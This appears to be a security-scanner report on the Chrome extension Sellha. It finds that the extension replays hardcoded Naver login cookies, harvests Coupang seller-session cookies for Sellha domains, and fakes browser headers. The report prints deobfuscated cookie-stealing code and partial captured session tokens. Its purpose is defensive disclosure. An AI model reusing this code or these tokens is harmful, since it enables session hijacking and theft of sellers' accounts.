Is Sellha safe?

High risk

Sellha is high risk. Sellha's background.js hardcodes about 31 Naver cookie strings; 20 hold login-session tokens (NID_AUT, NID_SES) plus NNB/NID_JKL identifiers. Naver Shopping requests pick one at random as the Cookie header via declarativeNetRequest.…

ilovemalanghoneyv2.7.6Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-522
SourceAI SANDBOX

Bundle ships hardcoded Naver login cookies, replayed on shopping API calls

Sellha's background.js hardcodes about 31 Naver cookie strings; 20 hold login-session tokens (NID_AUT, NID_SES) plus NNB/NID_JKL identifiers.

Naver Shopping requests pick one at random as the Cookie header via declarativeNetRequest.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open a Naver Shopping search or product page.

Sellha runs on search.shopping.naver.com to add its pricing and ranking overlays.

The extension did this

The extension attaches a stored Naver login cookie to its data request.

background.js picks one of about 31 hardcoded cookie strings at random and sets it as the Cookie header before fetching the Naver API.

02EvidenceFIELD TABLE
Tokens present inside each hardcoded cookie string
FieldValueWhy it matters
Naver auth token (NID_AUT)
NID_AUT=H2p2cpP7kBnb9yvks6uf6m8YUlM9IrZlUMjYCeMN7Gl8bY0eYk9Vq/s13RmKUOgLThe token Naver issues to a logged-in browser to prove authentication. Replaying it makes a request look like it's from that user.
Naver session token (NID_SES)
NID_SES=AAABhklDZ7uI7C9y4tcChnYMUxvM/...The companion session cookie Naver sets for a logged-in browser. Together with NID_AUT it represents an active login.
Naver account identifier (NID_JKL)
NID_JKL=lgc2ERhuq03cJPVQON4YfJr6zoMWdJ5y5V+ceGm77V4=An account-linked identifier Naver attaches to a signed-in session.
Naver device cookie (NNB)
NNB=L4TADBFLU5YWKA long-lived Naver browser/device identifier carried in every string.
Capture-time marker (wcs_bt)
wcs_bt=s_315a14666bdf4:1708650649A timestamped value embedded in the strings; the values correspond to early 2024, indicating when these sessions were captured.
03EvidenceCODE COMPARE
The code that does this

The Cookie header is set from a randomly chosen hardcoded string

What it actually does
Deobfuscated: pick a stored cookie at random, inject via DNR, then fetchdeobfuscated/background.js
var rule = {
  removeRuleIds: [200, 300],
  addRules: [{
    id: 200,
    priority: 1,
    action: {
      type: "modifyHeaders",
      requestHeaders: [
        /* Accept, Accept-Language, Sec-Fetch-* ... */
        { header: "Referer", operation: "set", value: a },
        { header: "Cookie",  operation: "set",
          value: i.cookies[random(i.cookies.length)] }   // one of ~31 hardcoded Naver sessions
      ]
    },
    condition: { urlFilter: t, resourceTypes: ["xmlhttprequest"] }
  }]
};
chrome.declarativeNetRequest.updateDynamicRules(rule, function () {
  fetch(t, { method: "GET" }).then(r => r.text());
});
04EvidenceARTIFACT
Check if you're affected

Parses the extension's background.js, locates the hardcoded cookies[] array, and reports how many entries carry well-formed Naver login-session tokens (NID_AUT + NID_SES + NNB + NID_JKL). Lets a reviewer reproduce the count without trusting our summary.

RequiresNode.js 18+
extract-naver-tokens.js · js
// Usage: node extract-naver-tokens.js path/to/background.js
const fs = require('fs');
const src = fs.readFileSync(process.argv[2] || 'background.js', 'utf8');

// Find the cookies: [ ... ] array literal.
const start = src.indexOf('cookies:');
if (start < 0) { console.error('no cookies: array found'); process.exit(1); }
const open = src.indexOf('[', start);
let depth = 0, end = -1;
for (let i = open; i < src.length; i++) {
  if (src[i] === '[') depth++;
  else if (src[i] === ']') { depth--; if (depth === 0) { end = i; break; } }
}
const arrText = src.slice(open, end + 1);

// Split on top-level commas between quoted strings (rough but effective here).
const strings = arrText.match(/'[^']*'|"[^"]*"/g) || [];
let wellFormed = 0;
for (const raw of strings) {
  const s = raw.slice(1, -1);
  const aut = /NID_AUT=([^;]+)/.exec(s);
  const ses = /NID_SES=([^;]+)/.exec(s);
  const hasNNB = /NNB=/.test(s);
  const hasJKL = /NID_JKL=/.test(s);
  if (aut && ses && hasNNB && hasJKL &&
      aut[1].length >= 50 && ses[1].length >= 100) wellFormed++;
}
console.log('cookie strings found:', strings.length);
console.log('strings with well-formed Naver login session:', wellFormed);
How to run it
  1. 1
    Obtain the extension's deobfuscated background.js.
  2. 2
    Run: node extract-naver-tokens.js background.js.
  3. 3
    Compare the reported counts against the figures in this report (~31 strings, 20 well-formed).
05EvidencePLAIN NOTE
Scope and what we did and did not observe

These cookie strings are shipped in the extension bundle and the same value is sent to whichever Naver session it belongs to, on requests to `search.shopping.naver.com`. We confirmed the presence, count, and format of the tokens by static analysis of the shipped `background.js`. We did not attempt to use any of these tokens against Naver, and the captured sessions (dated early 2024) may have since expired. The finding is that valid-format third-party login-session cookies are embedded in the distributed code and wired into the request path.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

Sellha can request Coupang seller-session cookies

Sellha pages allowed by the extension can ask it for Coupang seller-session data.

On success, it opens the Coupang portal, reads store details and .coupang.com cookies via its content script, and returns them.

No payload was captured.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You use a Sellha page that is allowed to talk to the extension.

The extension manifest allows Sellha domains to send external messages.

The extension did this

The extension can open Coupang, collect seller-session fields, and return them to that Sellha page.

Dynamic analysis confirmed the message handler was reachable; a logged-in Coupang seller session is needed to produce live cookie values.

02EvidenceFIELD TABLE
Fields returned by the successful Coupang seller flow
FieldValueWhy it matters
Coupang seller ID
A1047293 (illustrative)This identifies the seller account currently open in the Coupang seller portal.
Coupang seller name
Seoul Market Direct (illustrative)This names the seller account or business visible in the Coupang seller portal.
Page cookies
JSESSIONID=9E0F4B4D1F0C7A6B2C9D8E7F6A5B4C3D; wing-locale=ko_KR; (illustrative)These values describe the active Coupang seller browser session available to the page.
Browser cookie-store tokens
msp_sid=8f7c1a9e0d4b2c6a; sxSessionId=6e2b91c044fd4a31; OAuth_Token_Request_State=77a1d4e8f2b94310; (illustrative)These values can preserve or describe an authenticated Coupang session outside the page itself.
03EvidenceNETWORK CAPTURE
Captured request
GEThttps://wing.coupang.com/favicon.ico
Observed background Coupang tab load; the handler returned {"status":"failed"} because the browser had no Coupang seller session.
04EvidenceCODE COMPARE
The code that does this

The external message path that collects Coupang seller-session data

What it actually does
External message opens Coupang and returns filtered cookiesbackground.js
case 188:
  if (!e || "getCoupangWingCookieStoreInfo" !== e.message) {
    t.next = 203;
    break
  }
  return t.prev = 189, t.next = 192, chrome.tabs.create({
    url: "https://wing.coupang.com/",
    active: !1
  });
case 192:
  return g = t.sent, t.next = 195, Object(n.sleep)(4e3);
case 195:
  chrome.tabs.sendMessage(g.id, {
    message: e.message
  }, (function(e) {
    var t;
    "success" === e.status ? chrome.cookies.getAll({
      domain: ".coupang.com"
    }, (function(n) {
      t = Object(i.convertCookiesToString)(n), a(m(m({}, e), {}, {
        cookie: t
      }))
    })) : a(e), chrome.tabs.remove(g.id)
  })), t.next = 201;
  break;
case 198:
  t.prev = 198, t.t0 = t.catch(189), a({
    status: "failed"
  });
case 201:
  t.next = 368;
  break;
Cookie-name allowlist converted into one cookie stringbackground.js
convertCookiesToString: function(e) {
  for (var t = "", a = 0; a < e.length; a++) "msp_sid" !== e[a].name && "bm_sz" !== e[a].name && "wing-locale" !== e[a].name && "sc_uid" !== e[a].name && "ak_bmsc" !== e[a].name && "sc_vid" !== e[a].name && "JSESSIONID" !== e[a].name && "sxSessionId" !== e[a].name && "OAuth_Token_Request_State" !== e[a].name && "PCID" !== e[a].name && "sc_lid" !== e[a].name && "_abck" !== e[a].name && "KC_REDIRECT" !== e[a].name && "x-coupang-accept-language" !== e[a].name && "_fbp" !== e[a].name && "_ga_MM7Y29P0HZ" !== e[a].name && "gd1" !== e[a].name && "AWSALB" !== e[a].name && "AWSALBCORS" !== e[a].name && "AWSALBTG" !== e[a].name && "AWSALBTGCORS" !== e[a].name && "aid" !== e[a].name && "AWSALB" !== e[a].name && "cmgbd-sid" !== e[a].name && "cmgrpt_sid" !== e[a].name && "locale" !== e[a].name || (t += "".concat(e[a].name, "=").concat(e[a].value, ";"));
  return t
}
Coupang content script reads store fields and document.cookiecoupangWingScript.js
var f = function() {
  var t = c(n().mark((function t(e) {
    var r, o, a, u;
    return n().wrap((function(t) {
      for (;;) switch (t.prev = t.next) {
        case 0:
          return t.prev = 0, r = document.querySelector("#wing-top-header-user-action-layer > div > div.my-user-menu-top > div.vendor-id-wrapper span").innerHTML.replace("업체코드 ", ""), o = document.querySelector("#wing-top-header-user-action-layer > div > div.my-user-menu-top > div.vendor-name-wrapper span").innerHTML, a = document.cookie, u = {
            storeId: r,
            storeName: o,
            cookie: a
          }, t.abrupt("return", i(i({}, u), {}, {
            status: "success"
          }));
        case 8:
          return t.prev = 8, t.t0 = t.catch(0), console.log(t.t0), t.abrupt("return", {
            status: "failed"
          });
        case 12:
        case "end":
          return t.stop()
      }
    }), t, null, [
      [0, 8]
    ])
  })));
  return function(e) {
    return t.apply(this, arguments)
  }
}();
chrome.runtime.onMessage.addListener((function(t, e, r) {
  return function() {
    var e = c(n().mark((function e() {
      var o, i;
      return n().wrap((function(e) {
        for (;;) switch (e.prev = e.next) {
          case 0:
            if (console.log("reqeust: ", t), o = t.message, console.log("message: ", o), "getCoupangWingCookieStoreInfo" !== o && "getAdCoupangWingCookieStoreInfo" !== o) {
              e.next = 10;
              break
            }
            return e.next = 6, f();
          case 6:
            i = e.sent, r(i), e.next = 11;
            break;
          case 10:
            r({
              status: "failed"
            });
          case 11:
          case "end":
            return e.stop()
        }
      }), e)
    })));
    return function() {
      return e.apply(this, arguments)
    }
  }()(), !0
}))
05EvidenceTHIRD PARTY LIST
Origins and hosts involved in the flow
  • sellha.kr

    Allowed web origin that can request Coupang seller cookie and store information through the extension.

  • sellha.co.kr

    Allowed Sellha web origin with the same external-message access.

  • sellha.net

    Allowed Sellha web origin with the same external-message access.

  • wing.coupang.com

    Coupang seller portal opened by the extension to read seller-page details and session cookies.

  • advertising.coupang.com

    Coupang advertising portal used by the related getAdCoupangWingCookieStoreInfo flow.

SeverityMEDIUM
ClassUNWANTED
TypeUnexpected
CWECWE-506
SourceAI SANDBOX

Extension overwrites User-Agent and client-hint headers on Naver/Coupang APIs

Sellha overwrites browser-identity headers on Naver/Coupang requests via declarativeNetRequest: Accept-Language, Sec-Ch-Ua, Sec-Fetch-* on Naver Shopping; a desktop UA on Naver search; iPhone Safari UA on Coupang.

Identity is fabricated.

01EvidenceCAUSE EFFECT
What actually happens
You did this

The extension makes a data request to a Naver or Coupang API.

These requests back the price, ranking and sales overlays Sellha draws on shopping pages.

The extension did this

The request's browser-identity headers are overwritten with fixed fabricated values.

declarativeNetRequest rules replace User-Agent, Sec-Ch-Ua, Accept-Language, Sec-Fetch-* and Referer so the request does not present the real browser's identity.

02EvidenceFIELD TABLE
Headers overwritten on the outgoing scraping requests
FieldValueWhy it matters
Browser identity (User-Agent)
Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 ... Mobile/15E148 Safari/604.1Replaced with a fixed desktop Chrome string on Naver search and iPhone/iOS 16 Safari on Coupang mobile APIs, not your real browser's.
Client hints (Sec-Ch-Ua)
"Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"Declares a specific Chrome major version to the server independent of the real browser.
Accept-Language
ko,en-US;q=0.9,en;q=0.8,ko-KR;q=0.7Pinned to a Korean-first language preference on the API calls.
Referer
https://search.shopping.naver.com/ns/search?query=...Set to a Naver search URL so the request appears to originate from a normal in-site navigation.
03EvidenceCODE COMPARE
The code that does this

Shipped header-rewrite rule vs the dynamic per-fetch rule

What it actually does
background.js builds the same header set as a dynamic rule before each fetchdeobfuscated/background.js
var rule = {
  removeRuleIds: [200, 300],
  addRules: [{
    id: 200, priority: 1,
    action: { type: "modifyHeaders", requestHeaders: [
      { header: "Accept-Language", operation: "set", value: "ko,en-US;q=0.9,en;q=0.8,ko-KR;q=0.7" },
      { header: "Sec-Ch-Ua-Mobile", operation: "set", value: "?0" },
      { header: "Sec-Fetch-Dest", operation: "set", value: "empty" },
      { header: "Sec-Fetch-Mode", operation: "set", value: "cors" },
      { header: "Sec-Fetch-Site", operation: "set", value: "same-origin" },
      { header: "Referer", operation: "set", value: a }   // caller-supplied Naver URL
    ] },
    condition: { urlFilter: t, resourceTypes: ["xmlhttprequest"] }
  }]
};
chrome.declarativeNetRequest.updateDynamicRules(rule, function () {
  fetch(t, { method: "GET" });
});
04EvidencePLAIN NOTE
Scope and what we did and did not observe

These header rewrites apply only to the extension's own requests to specific Naver and Coupang API and search endpoints declared in `rules.json` and built in `background.js` — they do not alter headers for unrelated sites. We confirmed the rules and code paths by static analysis of the shipped `rules.json` and `background.js`. We did not run the extension to capture a specific outgoing request in our test session. The finding is that the distributed code presents a fixed, fabricated browser identity on these requests rather than the real browser's identity.

Updated 17 September 2026mglkfkclbnnnfepnmgeeggfmpllkjjga